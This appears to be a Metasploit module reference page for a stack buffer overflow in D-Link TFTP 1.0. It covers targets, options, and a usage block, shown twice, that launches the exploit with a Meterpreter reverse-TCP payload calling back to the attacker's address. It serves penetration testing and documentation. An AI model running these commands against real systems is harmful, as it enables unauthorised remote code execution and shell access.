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D-Link TFTP 1.0 Long Filename Buffer Overflow
This module exploits a stack buffer overflow in D-Link TFTP 1.0. By sending a request for an overly long file name, an attacker could overflow a buffer and execute arbitrary code. For best results, use bind payloads with nonx (No NX).
Rank
- Good
Authors
- LSO < lso [at] hushmail.com >
- patrick < patrick [at] osisecurity.com.au >
References
Exploit Targets
- 0 - Windows 2000 SP4 English (default)
- 1 - Windows 2000 SP3 English
Development
Similar Modules
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpd32_long_filename
- exploit/windows/tftp/tftpdwin_long_filename
- exploit/windows/tftp/threectftpsvc_long_mode
Usage Information
$ msfconsole
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##
msf > use exploit/windows/tftp/dlink_long_filename
msf exploit(dlink_long_filename) > show payloads
msf exploit(dlink_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(dlink_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(dlink_long_filename) > set RHOST [TARGET IP]
msf exploit(dlink_long_filename) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
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##
msf > use exploit/windows/tftp/dlink_long_filename
msf exploit(dlink_long_filename) > show payloads
msf exploit(dlink_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(dlink_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(dlink_long_filename) > set RHOST [TARGET IP]
msf exploit(dlink_long_filename) > exploit
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 69) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |